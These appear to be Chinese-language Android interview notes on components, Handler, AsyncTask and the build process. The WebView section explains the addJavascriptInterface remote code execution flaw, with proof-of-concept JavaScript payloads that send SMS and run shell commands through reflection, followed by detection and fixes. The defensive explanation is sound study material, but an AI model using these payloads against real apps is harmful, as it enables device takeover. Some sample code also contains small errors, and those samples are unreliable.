Activity

1. 什么是Activity

四大组件之一，通常一个用户交互界面对应一个activity。activity是Context的子类，同时实现了window.callback和keyevent.callback，可以处理与窗体用户交互的事件。开发中常用的有FragmentActivity、ListActivity、TabActivity（Android 4.0被Fragment取代）

2. Activity的4种状态

running：用户可以点击，activity处于栈顶状态。
paused：activity失去焦点的时候，被一个非全屏的activity占据或者被一个透明的activity覆盖，这个状态的activity并没有销毁，它所有的状态信息和成员变量仍然存在，只是不能够被点击。(除了内存紧张的情况，这个activity有可能被回收)
stopped：这个activity被另外一个activity完全覆盖，但是这个activity的所有状态信息和成员变量仍然存在(除了内存紧张)
killed：这个activity已经被销毁，其所有的状态信息和成员变量已经不存在了。

3. Activity生命周期

Activity生命周期

生命周期的基本介绍

onCreate：当Activity第一次启动调用
onDestroy：当Activity销毁的时候调用
onStart：当Activity变成可见调用
onStop：当Activity不可见调用
onResume：当Activity可以交互调用这个方法当界面上的按钮被点击的时候调用
onPause：当Activity不可以交互调用这个方法当界面上的按钮不可以点击
onRestart：当界面重新启动的时候调用

生命周期流程

Activity启动：调用的依次顺序是：onCreate ---> onStart ---> onResume ---> onPause ---> onStop ---> onDestroy，还有一个onRestart，其中onRestart是在Activity被onStop后，但是没有被onDestroy，在再次启动此Activity时调用的（而不再调用onCreate）方法；如果被onDestroy了，则是调用onCreate方法。
点击Home键回到主界面（Activity不可见）：onPause ---> onStop
当我们再次回到原Activity时： onRestart ---> onStart ---> onResume
退出当前Activity时： onPause ---> onStop ---> onDestroy

4. Activity任务栈

有序地管理Activity的先进后出的一种数据结构
安全退出：任务栈中所有的Activity都出栈

5. Activity的启动模式

standard 标准模式：

特点：此模式不管有没有已存在的实例，都生成新的实例。每次调用startActivity()启动Activity时都会创建一个新的Activity放在栈顶，每次返回都会销毁实例并出栈，可以重复创建。
singleTop 单一顶部模式/栈顶复用模式：

特点：会检查任务栈栈顶的Activity，如果发现栈顶已经存在实例，就不会创建新的实例，直接复用，此时会调用onNewIntent。但如果不在栈顶，那么还是会创建新的实例。应用场景：浏览器书签的页面，流氓的网站，避免创建过多的书签页面
singleTask 单一任务模式/栈内复用模式：

特点：这种模式不会检查任务栈的栈顶,检查当前任务栈，如果发现有实例存在，直接复用。任务栈中只有一个实例存储（把当前activity上面的所有的其它activity都清空，复用这个已经存在的activity）应用场景：浏览器浏览页面的Activity，播放器播放的activity。
singleInstance 单一实例模式（用得比较少）

特点：系统会为这个Activity单独创建一个任务栈，这个任务栈里面只有一个实例存在并且保证不再有其它activity实例进入。应用场景：来电页面。

6. Scheme跳转协议

概念

Android中的scheme是一种页面内跳转协议，是一种非常好的实现机制，通过定义自己的scheme协议，可以非常方便跳转app中的各个页面；通过scheme协议，服务器可以定制化告诉app跳转哪个页面，可以通过通知栏消息定制化跳转页面，可以通过H5页面跳转页面等。

应用场景

通过服务器下发跳转路径跳转相应页面
通过在H5页面的锚点跳转相应的页面
根据服务器下发通知栏消息，App跳转相应的页面（包括另外一个APP的页面，作为推广使用）

7. 参考文章

Android面试（一）：Activity面试你所需知道的一切

android-Scheme与网页跳转原生的三种方式

Fragment

1. 什么是Fragment

Fragment，俗称碎片，自Android 3.0开始被引进并大量使用。作为Activity界面的一部分，Fragment的存在必须依附于Activity，并且与Activity一样，拥有自己的生命周期，同时处理用户的交互动作。同一个Activity可以有一个或多个Fragment作为界面内容，并且可以动态添加、删除Fragment，灵活控制UI内容，也可以用来解决部分屏幕适配问题。

2. Fragment为什么被称为第五大组件

首先Fragment的使用次数是不输于其他四大组件的，而且Fragment有自己的生命周期，比Activity更加节省内存，切换模式也更加舒适，使用频率不低于四大组件。

3. Fragment的生命周期

Fragment的生命周期

4. Fragment创建/加载到Activity的两种方式

静态加载
1. 创建Fragment的xml布局文件
2. 在Fragment的onCreateView中inflate布局，返回
3. 在Activity的布局文件中的适当位置添加fragment标签，指定name为Fragment的完整类名（这时候Activity中可以直接通过findViewById找到Fragment中的控件）

动态加载（需要用到事务操作，常用）

创建Fragment的xml布局文件

在Fragment的onCreateView中inflate布局，返回

@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
    return inflater.inflate(R.layout.activity_main, container, false);
}

1
2
3
4
5

在Activity中通过获取FragmentManager（SupportFragmentManager），通过beginTransaction()方法开启事务
进行add()/remove()/replace()/attach()/detach()/hide()/addToBackStack()事务操作（都是对Fragment的栈进行操作，其中add()指定的tag参数可以方便以后通过findFragmentByTag()找到这个Fragment）

提交事务：commit()

示例代码：

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    getSupportFragmentManager().beginTransaction()
            .add(R.id.fragment_container, new TestFragment(), "test")
            .commit();
    TestFragment f = (TestFragment) getSupportFragmentManager().findFragmentByTag("test");
}

1
2
3
4
5
6
7
8
9

5. Fragment通信问题

通过findFragmentByTag或者getActivity获得对方的引用（强转）之后，再相互调用对方的public方法。

优点：简单粗暴缺点：引入了“强转”的丑陋代码，另外两个类之间各自持有对方的强引用，耦合较大，容易造成内存泄漏

通过Bundle的方法进行传值，在添加Fragment的时候进行通信

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    Fragment fragment = new TestFragment();
    Bundle bundle = new Bundle();
    bundle.putString("key", "value");
    //Activity中对fragment设置一些参数
    fragment.setArguments(bundle);
    getSupportFragmentManager().beginTransaction()
            .add(R.id.fragment_container, fragment, "test")
            .commit();
}

1
2
3
4
5
6
7
8
9
10
11
12
13

优点：简单粗暴缺点：只能在Fragment添加到Activity的时候才能使用，属于单向通信

利用eventbus进行通信

优点：实时性高，双向通信，Activity与Fragment之间可以完全解耦缺点：反射影响性能，无法获取返回数据，EventBUS难以维护

利用接口回调进行通信（Google官方推荐）

//MainActivity实现MainFragment开放的接口
public class MainActivity extends FragmentActivity implements FragmentListener {
    @override
    public void toH5Page() {
        //...其他处理代码省略
    }
}
//Fragment的实现
public class MainFragment extends Fragment {
    //接口的实例，在onAttach Activity的时候进行设置
    public FragmentListener mListener;
    //MainFragment开放的接口
    public static interface FragmentListener {
        //跳到h5页面
        void toH5Page();
    }
    @Override
    public void onAttach(Activity activity) {
        super.onAttach(activity);
        //对传递进来的Activity进行接口转换
        if (activity instance FragmentListener){
            mListener = ((FragmentListener) activity);
        }
    }
     ...其他处理代码省略
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

优点：既能达到复用，又能达到很好的可维护性，并且性能得到保证缺点：假如项目很大了，Activity与Fragment的数量也会增加，这时候为每对Activity与Fragment交互定义交互接口就是一个很麻烦的问题（包括为接口的命名，新定义的接口相应的Activity还得实现，相应的Fragment还得进行强制转换）

通过Handler进行通信（其实就是把接口的方式改为Handler）

优点：既能达到复用，又能达到很好的可维护性，并且性能得到保证缺点：Fragment对具体的Activity存在耦合，不利于Fragment复用和维护，没法获取Activity的返回数据
通过广播/本地广播进行通信

优点：简单粗暴缺点：大材小用，存在性能损耗，传播数据必须实现序列化接口
父子Fragment之间通信，可以使用getParentFragment()/getChildFragmentManager()的方式进行

6. FragmentPageAdapter和FragmentPageStateAdapter的区别

FragmentPageAdapter在每次切换页面的时候，是将Fragment进行分离，适合页面较少的Fragment使用以保存一些内存，对系统内存不会多大影响

@Override
public void destroyItem(ViewGroup container, int position, Object object) {
    if (mCurTransaction == null) {
        mCurTransaction = mFragmentManager.beginTransaction();
    }
    if (DEBUG) Log.v(TAG, "Detaching item #" + getItemId(position) + ": f=" + object
            + " v=" + ((Fragment)object).getView());
    //FragmentPageAdapter在destroyItem的时候调用detach
    mCurTransaction.detach((Fragment)object);
}

1
2
3
4
5
6
7
8
9
10

FragmentPageStateAdapter在每次切换页面的时候，是将Fragment进行回收，适合页面较多的Fragment使用，这样就不会消耗更多的内存

@Override
public void destroyItem(ViewGroup container, int position, Object object) {
    Fragment fragment = (Fragment) object;
    if (mCurTransaction == null) {
        mCurTransaction = mFragmentManager.beginTransaction();
    }
    if (DEBUG) Log.v(TAG, "Removing item #" + position + ": f=" + object
            + " v=" + ((Fragment)object).getView());
    while (mSavedState.size() <= position) {
        mSavedState.add(null);
    }
    mSavedState.set(position, fragment.isAdded()
            ? mFragmentManager.saveFragmentInstanceState(fragment) : null);
    mFragments.set(position, null);
    //FragmentPageStateAdapter在destroyItem的时候调用remove
    mCurTransaction.remove(fragment);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

7. 参考文章

Android：Activity与Fragment通信(99%)完美解决方案

Service

1. 什么是Service

Service是四大组件之一，它可以在后台执行长时间运行操作而没有用户界面的应用组件

2. Service的两种启动方式与生命周期

Service的两种启动方式与生命周期

startService特点：

使用这种start方式启动的Service的生命周期如下：onCreate()--->onStartCommand()（onStart()方法已过时） ---> onDestroy()
如果服务已经开启，不会重复的执行onCreate()，而是会调用onStart()和onStartCommand()
一旦服务开启跟调用者(开启者)就没有任何关系了。
开启者退出了，开启者挂了，服务还在后台长期的运行。
开启者不能调用服务里面的方法。

bindService特点：

使用这种start方式启动的Service的生命周期如下：onCreate() --->onBind()--->onUnbind()--->onDestroy()
绑定服务不会调用onStart()或者onStartCommand()方法
bind的方式开启服务，绑定服务。调用者调用unbindService解除绑定，服务也会跟着销毁。
绑定者可以调用服务里面的方法。

3. Service和Thread的区别

Service是安卓中系统的组件，它运行在独立进程的主线程中，默认情况下不可以执行耗时操作（否则ANR）
Thread是程序执行的最小单元，分配CPU的基本单位，可以开启子线程执行耗时操作
Service在不同Activity中可以获取自身实例，可以方便的对Service进行操作
Thread的运行是独立于Activity的，也就是说当一个Activity被finish之后，如果没有主动停止Thread或者Thread里的run方法没有执行完毕的话，Thread也会一直执行，引发内存泄漏；另一方面，没有办法在不同的Activity中对同一Thread进行控制。

Broadcast

1. BroadcastReceiver是什么

BroadcastReceiver是四大组件之一，是一种广泛运用在应用程序之间传输信息的机制，通过发送Intent来传送我们的数据。

2. BroadcastReceiver的使用场景

不同组件之间的消息通信（应用内/应用内不同进程/不同进程（应用））
与Android系统在特定情况下的通信（如电话呼入、蓝牙状态变化等）
线程之间的通信

3. Broadcast种类

普通广播（Normal Broadcast）
- 通过sendBroadcast进行发送，如果注册了Action匹配的接受者则会收到
- 若发送广播有相应权限，那么广播接收者也需要相应权限
系统广播（System Broadcast）
- Android中内置了多个系统广播：只要涉及到手机的基本操作（如开机、网络状态变化、拍照等等），都会发出相应的广播
- 每个广播都有特定的Intent - Filter（包括具体的action）
- 系统广播由系统发送，不需要手动发送，只需要注册监听
有序广播（Ordered Broadcast）
- 通过sendOrderedBroadcast发送
- 发送出去的广播被广播接收者按照先后顺序接收（有序是针对广播接收者而言的）
- 广播接受者接收广播的顺序规则：Priority大的优先；动态注册的接收者优先
- 先接收的可以对广播进行截断和修改
App应用内广播（本地广播、Local Broadcast）
- 通过LocalBroadcastManager.getInstance(this).sendBroadcastSync();
- App应用内广播可理解为一种局部广播，广播的发送者和接收者都同属于一个App
- 相比于全局广播（普通广播），App应用内广播优势体现在：安全性高 & 效率高（本地广播只会在APP内传播，安全性高；不允许其他APP对自己的APP发送广播，效率高）
粘性广播（Sticky Broadcast）
- 在Android5.0 & API 21中已经失效，所以不建议使用
- 通过sendStickyBroadcast发送
- 粘性广播在发送后就一直存在于系统的消息容器里面，等待对应的处理器去处理，如果暂时没有处理器处理这个广播则一直在消息容器里面处于等待状态
- 粘性广播的Receiver如果被销毁，那么下次重新创建的时候会自动接收到消息数据

4. 广播的注册方式

静态注册：也称为清单注册，就是在AndroidManifest.xml中注册的广播。此类广播接收器在应用尚未启动的时候就可以接收到相应广播。
动态注册：也称为运行时注册，也就是在Service或者Activity组件中，通过Context.registerReceiver()注册广播接收器。此类广播接收器是在应用已启动后，通过代码进行注册。生命周期与组件一致。

5. 广播的实现机制

广播的实现机制

6. 本地广播的使用以及实现机制

基本使用：可以通过intent.setPackage(packageName)指定包名，也可以使用localBroadcastManager（常用），示例代码如下：

//注册应用内广播接收器
//步骤1：实例化BroadcastReceiver子类 & IntentFilter mBroadcastReceiver 
mBroadcastReceiver = new mBroadcastReceiver();
IntentFilter intentFilter = new IntentFilter();

//步骤2：实例化LocalBroadcastManager的实例
localBroadcastManager = LocalBroadcastManager.getInstance(this);

//步骤3：设置接收广播的类型 
intentFilter.addAction(android.net.conn.CONNECTIVITY_CHANGE);

//步骤4：调用LocalBroadcastManager单一实例的registerReceiver（）方法进行动态注册 
localBroadcastManager.registerReceiver(mBroadcastReceiver, intentFilter);

//取消注册应用内广播接收器
localBroadcastManager.unregisterReceiver(mBroadcastReceiver);

//发送应用内广播
Intent intent = new Intent();
intent.setAction(BROADCAST_ACTION);
localBroadcastManager.sendBroadcast(intent);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

localBroadcastManager的实现机制
1. LocalBroadcastManager高效的原因主要是因为它内部是通过Handler实现的，它的sendBroadcast()方法含义和我们平时所用的全局广播不一样，它的sendBroadcast()方法其实是通过handler发送一个Message实现的。
2. 既然是它内部是通过Handler来实现广播的发送的，那么相比与系统广播通过Binder实现那肯定是更高效了，同时使用Handler来实现，别的应用无法向我们的应用发送该广播，而我们应用内发送的广播也不会离开我们的应用
3. LocalBroadcastManager内部协作主要是靠这两个Map集合：mReceivers和mActions，当然还有一个List集合mPendingBroadcasts，这个主要就是存储待接收的广播对象

7. 参考文章

Android四大组件：BroadcastReceiver史上最全面解析

Android 粘性广播StickyBroadcast的使用

咦，Oreo怎么收不到广播了？

LocalBroadcastManager—创建更高效、更安全的广播

WebView

1. WebView远程代码执行安全漏洞

漏洞描述

Android API level 16以及之前的版本存在远程代码执行安全漏洞，该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法，远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法。

简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口，JavaScript通过调用这个接口可以直接操作本地的JAVA接口。

示例代码

WebView代码如下所示：

mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl("file:///android_asset/www/index.html");

1
2
3
4

发送恶意短信：

<html>
   <body>
      <script>
         var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
          objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
       </script>
   </body>
</html>

1
2
3
4
5
6
7
8

利用反射机制调用Android API getRuntime执行shell命令，最终操作用户的文件系统：

<html>
   <body>
      <script>
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }

         var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
         document.write(getContents(res.getInputStream()));
       </script>
   </body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13

漏洞检测

检查应用源代码中是否调用Landroid/webkit/WebView类中的addJavascriptInterface方法，是否存在searchBoxJavaBridge_、accessibility、accessibilityTraversal接口
在线检测：腾讯TSRC在线检测页面（http://security.tencent.com/lucky/check_tools.html）、乌云知识库在线检测（http://drops.wooyun.org/webview.html）
在线检测原理：遍历所有window的对象，然后找到包含getClass方法的对象,如果存在此方法的对象则说明该接口存在漏洞。

漏洞修复

允许被调用的函数必须以@JavascriptInterface进行注解（API Level小于17的应用也会受影响）
建议不要使用addJavascriptInterface接口，以免带来不必要的安全隐患，采用动态地生成将注入的JS代码的方式来代替
如果一定要使用addJavascriptInterface接口:
1. 如果使用HTTPS协议加载URL，应进行证书校验防止访问的页面被篡改挂马；
2. 如果使用HTTP协议加载URL，应进行白名单过滤、完整性校验等防止访问的页面被篡改；
3. 如果加载本地Html，应将html文件内置在APK中，以及进行对html页面完整性的校验；

移除Android系统内部的默认内置接口

removeJavascriptInterface("searchBoxJavaBridge_");
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");

1
2
3

2. JSBridge

客户端和服务端之间可以通过JSBridge来互相调用各自的方法，实现双向通信

3. WebView的正确销毁与内存泄漏问题

由于WebView是依附于Activity的，Activity的生命周期和WebView启动的线程的生命周期是不一致的，这会导致WebView一直持有对这个Activity的引用而无法释放，解决方案如下

独立进程，简单暴力，不过可能涉及到进程间通信（推荐）
动态添加WebView，对传入WebView中使用的Context使用弱引用
正确销毁WebView，WebView在其他容器上时（如：LinearLayout），当销毁Activity时，需要：
1. 在onDestroy()中先移除容器上的WebView
2. 然后再将WebView.destroy()，这样就不会导致内存泄漏

4. WebView后台耗电

问题

在WebView加载页面的时候，会自动开启线程去加载，如果不很好的关闭这些线程，就会导致电量消耗加大。

解决方法

可以采用暴力的方法，直接在onDestroy方法中System.exit(0)结束当前正在运行中的java虚拟机

5. WebView硬件加速

WebView硬件加速以及缺点

Android3.0引入硬件加速，默认会开启，WebView在硬件加速的情况下滑动更加平滑，性能更加好，但是会出现白块或者页面闪烁的副作用。

解决方案

建议在需要的地方WebView暂时关闭硬件加速

6. WebViewClient的onPageFinished问题

问题

WebViewClient.onPageFinished在每次页面加载完成的时候调用，但是遇到未加载完成的页面跳转其他页面时，就会被一直调用

解决方案

使用WebChromeClient.onProgressChanged替代WebViewClient.onPageFinished

7. 参考文章

WebView 远程代码执行漏洞浅析

Android WebView远程执行代码漏洞浅析

Android WebView 远程代码执行漏洞简析

在WebView中如何让JS与Java安全地互相调用

Android系统架构与Framework源码分析

1. Android系统架构

Android系统架构

根据上图，Android系统架构从上往下分别是：

应用框架：应用框架最常被应用开发者使用。作为硬件开发者，我们应该非常了解开发者 API，因为很多此类 API 都可直接映射到底层 HAL 接口，并可提供与实现驱动程序相关的实用信息。
Binder IPC：Binder 进程间通信 (IPC) 机制允许应用框架跨越进程边界并调用 Android 系统服务代码，从而使得高级框架 API 能与 Android 系统服务进行交互。在应用框架级别，开发者无法看到此类通信的过程，但一切似乎都在“按部就班地运行”。
系统服务：应用框架 API 所提供的功能可与系统服务通信，以访问底层硬件。服务是集中的模块化组件，例如窗口管理器、搜索服务或通知管理器。Android 包含两组服务：“系统”（诸如窗口管理器和通知管理器之类的服务）和“媒体”（与播放和录制媒体相关的服务）。
硬件抽象层 (HAL)：硬件抽象层 (HAL) 会定义一个标准接口以供硬件供应商实现，并允许 Android 忽略较低级别的驱动程序实现。借助 HAL，我们可以顺利实现相关功能，而不会影响或无需更改更高级别的系统。HAL 实现会被封装成模块 (.so) 文件，并会由 Android 系统适时地加载。
Linux 内核：开发设备驱动程序与开发典型的 Linux 设备驱动程序类似。Android 使用的 Linux 内核版本包含一些特殊的补充功能，例如：唤醒锁（这是一种内存管理系统，可更主动地保护内存）、Binder IPC 驱动程序以及对移动嵌入式平台非常重要的其他功能。这些补充功能主要用于增强系统功能，不会影响驱动程序开发。我们可以使用任一版本的内核，只要它支持所需功能（如 Binder 驱动程序）。不过，建议使用 Android 内核的最新版本。

2. Android Framework源码分析

写给Android App开发人员看的Android底层知识（1）- Binder与AIDL

写给Android App开发人员看的Android底层知识（2）- AMS与APP、Activity的启动流程

写给Android App开发人员看的Android底层知识（3）- AMS与APP、Activity的启动流程

写给Android App开发人员看的Android底层知识（4）- Context

写给Android App开发人员看的Android底层知识（5）- Service

写给Android App开发人员看的Android底层知识（6）- BroadcastReceiver

写给Android App开发人员看的Android底层知识（7）- ContentProvider

写给Android App开发人员看的Android底层知识（8）- PMS及App安装过程

除此之外，还有消息机制、窗口管理等源码分析，推荐《开发艺术探索》，以及LooperJing的文集：

Android源码解析

备注：源码分析部分先放一放，后续补充一些简要概括性的

消息机制与Handler

1. 基本概念

Android的消息机制主要包括Handler、MessageQueue和Looper。

Handler是Android中引入的一种让开发者参与处理线程中消息循环的机制。每个Handler都关联了一个线程，每个线程内部都维护了一个消息队列MessageQueue，这样Handler实际上也就关联了一个消息队列。可以通过Handler将Message和Runnable对象发送到该Handler所关联线程的MessageQueue（消息队列）中，然后该消息队列一直在循环拿出一个Message，对其进行处理，处理完之后拿出下一个Message，继续进行处理，周而复始。

2. 为什么要有消息机制

Android的UI控件不是线程安全的，如果在多线程中访问UI控件则会导致不可预期的状态。那为什么不对UI控件访问加锁呢？

访问加锁缺点有两个：

首先加锁会让UI控件的访问的逻辑变的复杂；
其次，锁机制会降低UI的访问效率。

那我们不用线程来操作不就行了吗？但这是不可能的，因为Android的主线程不能执行耗时操作，否则会出现ANR。

所以，从各方面来说，Android消息机制是为了解决在子线程中无法访问UI的矛盾。

3. Handler的工作原理

Android消息机制.png

如图所示，在主线程ActivityThread中的main方法入口中，先是创建了系统的Handler（H），创建主线程的Looper，将Looper与主线程绑定，调用了Looper的loop方法之后开启整个应用程序的主循环。Looper里面有一个消息队列，通过Handler发送消息到消息队列里面，然后通过Looper不断去循环取出消息，交给Handler去处理。通过系统的Handler，或者说Android的消息处理机制就确保了整个Android系统有条不紊地运作，这是Android系统里面的一个比较重要的机制。

我们的APP也可以创建自己的Handler，可以是在主线程里面创建，也可以在子线程里面创建，但是需要手动创建子线程的Looper并且手动启动消息循环。

4. Handler的内存泄漏问题

原因

非静态内部类持有外部类的匿名引用，导致Activity无法释放（生命周期不一致）

解决方案

Handler内部持有外部Activity的弱引用
Handler改为静态内部类
在适当时机移除Handler的所有Callback()

5. 为什么在子线程中创建Handler会抛异常？

Handler的工作是依赖于Looper的，而Looper（与消息队列）又是属于某一个线程（ThreadLocal是线程内部的数据存储类，通过它可以在指定线程中存储数据，其他线程则无法获取到），其他线程不能访问。因此Handler就是间接跟线程是绑定在一起了。因此要使用Handler必须要保证Handler所创建的线程中有Looper对象并且启动循环。因为子线程中默认是没有Looper的，所以会报错。

正确的在子线程中创建Handler的方法如下（可以使用HandlerThread代替）：

    handler = null;
    new Thread(new Runnable() {

        private Looper mLooper;

        @Override
        public void run() {
            //必须调用Looper的prepare方法为当前线程创建一个Looper对象，然后启动循环
            //prepare方法中实质是给ThreadLocal对象创建了一个Looper对象
            //如果当前线程已经创建过Looper对象了，那么会报错
            Looper.prepare();
            handler = new Handler();
            //获取Looper对象
            mLooper = Looper.myLooper();
            //启动消息循环
            Looper.loop();

            //在适当的时候退出Looper的消息循环，防止内存泄漏
            mLooper.quit();
        }
    }).start();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

注意：

主线程中默认是创建了Looper并且启动了消息的循环的，因此不会报错。
应用程序的入口是ActivityThread的main方法，在这个方法里面会创建Looper，并且执行Looper的loop方法来启动消息的循环，使得应用程序一直运行。
有时候出于业务需要，主线程可以向子线程发送消息。子线程的Handler必须按照上述方法创建，并且关联Looper。

6. 为什么不能在子线程更新UI？

UI更新的时候，会对当前线程进行检验，如果不是主线程，则抛出异常：

void checkThread() {
    if (mThread != Thread.currentThread()) {
        throw new CalledFromWrongThreadException(
                "Only the original thread that created a view hierarchy can touch its views.");
    }
}

1
2
3
4
5
6

比较特殊的三种情况：

在Activity创建完成后（Activity的onResume之前ViewRootImpl实例没有建立），mThread被赋值为主线程（ViewRootImpl），所以直接在onCreate中创建子线程是可以更新UI的
在子线程中添加 Window，并且创建 ViewRootImpl，可以在子线程中更新view
SurfaceView可以在其他线程更新

7. 参考文章

Android 源码分析之旅3.1--消息机制源码分析

android消息机制原理详解

Android中Handler的使用

AsyncTask

1. AsyncTask的基本概念与基本工作原理

它本质上就是一个封装了线程池和Handler的异步框架。

AsyncTask执行任务时，内部会创建一个进程作用域的线程池来管理要运行的任务，也就是说当你调用了AsyncTask.execute()后，AsyncTask会把任务交给线程池，由线程池来管理创建Thread和运行Thread。

2. AsyncTask使用方法

三个参数

Params：表示后台任务执行时的参数类型，该参数会传给AysncTask的doInBackground()方法
Progress：表示后台任务的执行进度的参数类型，该参数会作为onProgressUpdate()方法的参数
Result：表示后台任务的返回结果的参数类型，该参数会作为onPostExecute()方法的参数

五个方法

onPreExecute()：异步任务开启之前回调，在主线程中执行
doInBackground()：执行异步任务，在线程池中执行
onProgressUpdate()：当doInBackground中调用publishProgress时回调，在主线程中执行
onPostExecute()：在异步任务执行之后回调，在主线程中执行
onCancelled()：在异步任务被取消时回调

3. AsyncTask的版本差异

内部的线程池的版本差异

3.0之前规定同一时刻能够运行的线程数为5个，线程池总大小为128。也就是说当我们启动了10个任务时，只有5个任务能够立刻执行，另外的5个任务则需要等待，当有一个任务执行完毕后，第6个任务才会启动，以此类推。而线程池中最大能存放的线程数是128个，当我们尝试去添加第129个任务时，程序就会崩溃。
因此在3.0版本中AsyncTask的改动还是挺大的，在3.0之前的AsyncTask可以同时有5个任务在执行，而3.0之后的AsyncTask同时只能有1个任务在执行。为什么升级之后可以同时执行的任务数反而变少了呢？这是因为更新后的AsyncTask已变得更加灵活，如果不想使用默认的线程池，还可以自由地进行配置。

串行、并行的版本差异

AsyncTask在Android 2.3之前默认采用并行执行任务，AsyncTask在Android 2.3之后默认采用串行执行任务
如果需要在Android 2.3之后采用并行执行任务，可以调用AsyncTask的executeOnExecutor()

4. AsyncTask的缺陷

内存泄漏问题

原因

非静态内部类持有外部类的匿名引用，导致Activity无法释放（生命周期不一致，与Handler一样）

解决方案

AsyncTask内部持有外部Activity的弱引用
AsyncTask改为静态内部类
在Activity销毁之前，调用AsyncTask.cancel()取消AsyncTask的运行，以此来保证程序的稳定

结果丢失问题

原因

在屏幕旋转、Activity在内存紧张时被回收等造成Activity重新创建时AsyncTask数据丢失的问题。当Activity销毁并重新创建后，还在运行的AsyncTask会持有一个Activity的非法引用即之前的Activity实例。导致onPostExecute()没有任何作用（一般是对UI更新无效）。

解决方案

在Activity重建之前cancel异步任务
在重建之后重新执行异步任务

5. 参考文章

AsyncTask 使用和缺陷

HandlerThread

1. HandlerThread产生背景

重点（防止线程多次创建、销毁）：当系统有多个耗时任务需要执行时，每个任务都会开启一个新线程去执行耗时任务，这样会导致系统多次创建和销毁线程，从而影响性能。为了解决这一问题，Google提供了HandlerThread，HandlerThread是在线程中创建一个Looper循环器，让Looper轮询消息队列，当有耗时任务进入队列时，则不需要开启新线程，在原有的线程中执行耗时任务即可，否则线程阻塞。

HandlerThread集Thread和Handler之所长，适用于会长时间在后台运行，并且间隔时间内（或适当情况下）会调用的情况，比如上面所说的实时更新。

2. HandlerThread的特点

HandlerThread本质上是一个线程，继承自Thread，与线程池不同，HandlerThread是一个串行队列，背后只有一个线程

HandlerThread有自己的Looper对象，可以进行Looper循环，可以创建Handler

public class HandlerThread extends Thread {
    Looper mLooper;
    private @Nullable Handler mHandler;
}

1
2
3
4

HandlerThread可以在Handler的handleMessage中执行异步方法，异步不会堵塞，减少对性能的消耗
HandlerThread缺点是不能同时继续进行多任务处理，需要等待进行处理，处理效率较低

IntentService

1. IntentService是什么

重点（本质上也是为了节省资源）
IntentService是继承自Service并处理异步请求的一个类，其内部采用HandlerThread和Handler实现的，在IntentService内有一个工作线程来处理耗时操作，其优先级比普通Service高
当任务完成后，IntentService会自动停止，而不需要手动调用stopSelf()
可以多次启动IntentService，每个耗时操作都会以工作队列的方式在IntentService中onHandlerIntent()回调方法中执行，并且每次只会执行一个工作线程

2. IntentService使用方法

创建Service继承自IntentService
覆写构造方法和onHandlerIntent()方法
在onHandlerIntent()中执行耗时操作

3. IntentService工作原理

IntentService继承自Service，内部有一个HandlerThread对象
在onCreate的时候会创建一个HandlerThread对象，并启动线程

紧接着创建ServiceHandler对象，ServiceHandler继承自Handler，用来处理消息。ServiceHandler将获取HandlerThread的Looper就可以开始正常工作了

    @Override
    public void onCreate() {
        super.onCreate();
        HandlerThread thread = new HandlerThread("IntentService[" + mName + "]");
        thread.start();
        mServiceLooper = thread.getLooper();
        mServiceHandler = new ServiceHandler(mServiceLooper);
    }

1
2
3
4
5
6
7
8

每启动一次onStart方法，就会把数消息和数据发给mServiceHandler，相当于发送了一次Message消息给HandlerThread的消息队列。

    @Override
    public void onStart(@Nullable Intent intent, int startId) {
        Message msg = mServiceHandler.obtainMessage();
        msg.arg1 = startId;
        msg.obj = intent;
        mServiceHandler.sendMessage(msg);
    }

1
2
3
4
5
6
7

mServiceHandler会把数据传给onHandleIntent方法，onHandleIntent是个抽象方法，需要在IntentService实现，所以每次onStart方法之后都会调用我们自己写的onHandleIntent方法去处理。处理完毕使用stopSelf通知HandlerThread已经处理完毕，HandlerThread继续观察消息队列，如果还有未执行玩的message则继续执行，否则结束。

    private final class ServiceHandler extends Handler {
        public ServiceHandler(Looper looper) {
            super(looper);
        }
        @Override
        public void handleMessage(Message msg) {
            onHandleIntent((Intent)msg.obj);
            stopSelf(msg.arg1);
        }
    }

1
2
3
4
5
6
7
8
9
10

Android项目构建过程

下图展示了从一个Android项目构建出一个带有签名、对齐操作的APK包的完整过程（省略了代码混淆过程、NDK的编译过程）：

Android项目构建过程

下面是具体描述：

AAPT(Android Asset Packaging Tool)工具会打包应用中的资源文件，如AndroidManifest.xml、layout布局中的xml等，并将xml文件编译为二进制形式，当然assets文件夹中的文件不会被编译，图片及raw文件夹中的资源也会保持原来的形态，需要注意的是raw文件夹中的资源也会生成资源id。AAPT编译完成之后会生成R.java文件。
AIDL工具会将所有的aidl接口转化为java接口。
所有的java代码，包括R.java与aidl文件都会被Java编译器编译成.class文件。
如果开启了混淆，Proguard工具会将上述产生的.class文件及第三库及其他.class（包括android.jar）等文件进行混淆操作。
Dex工具会将所有需要的.class文件编译成.dex文件（dex文件是虚拟机可以执行的格式），dex文件最终会被打包进APK文件。
ApkBuilder工具会将编译过的资源及未编译过的资源（如图片等）以及.dex文件、NDK工具编译出的.so文件等打包成APK文件。
